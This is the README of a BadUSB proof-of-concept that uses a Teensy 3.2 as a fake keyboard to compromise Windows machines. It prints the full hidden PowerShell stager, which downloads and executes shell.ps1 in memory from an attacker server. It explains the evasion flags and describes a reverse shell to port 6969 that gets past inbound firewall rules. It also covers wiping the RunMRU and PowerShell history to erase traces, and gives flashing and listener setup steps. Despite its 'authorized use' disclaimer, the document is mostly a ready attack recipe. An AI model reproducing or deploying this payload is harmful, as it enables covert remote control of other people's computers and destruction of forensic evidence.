BadUSB proof of concept using a Teensy 3.2 to run a fileless PowerShell reverse shell on Windows.
For educational and authorized red-team use only. Do not use against systems you do not own or have explicit permission to test.
Two parts: a Teensy sketch that acts as a USB keyboard, and a PowerShell reverse shell pulled over HTTP.
Plug it into a Windows machine and the OS trusts it as a keyboard with no driver prompt. The sketch then:
- Waits 3 seconds for the OS to recognize the device
- Hits
Win + Rto open the Run dialog - Types the PowerShell one-liner key by key with an 80ms delay so no keystrokes get dropped
- Hits Enter to run it
- Waits 5 seconds, opens Run again, and wipes local history
What gets typed:
const char PAYLOAD[] =
"powershell -w h -nop -ExecutionPolicy Bypass -c "
"\"&(IEX (New-Object Net.WebClient).DownloadString('http://172.20.10.4:8080/shell.ps1'))\"";
| Flag | Purpose |
|---|---|
-w h |
Hides the PowerShell window |
-nop |
Skips profile scripts for faster startup and fewer side effects |
-ExecutionPolicy Bypass |
Bypasses script execution restrictions |
IEX + DownloadString |
Downloads and executes shell.ps1 in memory without touching disk |
Hosted on the attacker's HTTP server and loaded straight into memory:
- Opens a TCP connection back to the attacker IP and port (
172.20.10.4:6969) - Reads incoming commands from the socket in a loop
- Runs each command with
Invoke-Expressionand sends the output back
Because the target initiates an outbound connection, standard inbound firewall rules do not block it.
Five seconds after launching the shell, the Teensy sends a second Run command to clear traces:
- Deletes the Run dialog history key (
HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU) - Deletes the PowerShell command history file (
ConsoleHost_history.txt)
Teensy plugged into target
-> OS detects device as a USB keyboard
-> Win + R opens Run dialog
-> PowerShell stager typed and run in a hidden window
-> shell.ps1 fetched into memory over HTTP
-> Target opens outbound TCP connection to port 6969
-> Interactive shell session established
-> Teensy wipes RunMRU and PSReadLine history
- Teensy 3.2
- Arduino IDE with the Teensyduino add-on
- Board configuration in Arduino IDE:
- Board:
Teensy 3.2 - USB Type:
Keyboard + Mouse + Joystick - Keyboard Layout:
French (AZERTY)(or match the target machine)
- Board:
- HTTP server to host
shell.ps1(e.g.python3 -m http.server 8080) - TCP listener on the attacking machine (e.g.
nc -lvnp 6969)
Update connection details in both files before flashing or hosting:
stager/stager.ino: update the HTTP server address inPAYLOADshell.ps1: set$i(listener IP) and$p(port)
- Start the HTTP server in the directory containing
shell.ps1 - Start the TCP listener on the attacking machine
- Flash
stager.inoto the Teensy - Plug the Teensy into the target Windows machine
teensy-reverse-shell/
+-- stager/
| +-- stager.ino # Teensy HID keyboard injector
+-- shell.ps1 # PowerShell reverse shell payload
+-- README.md
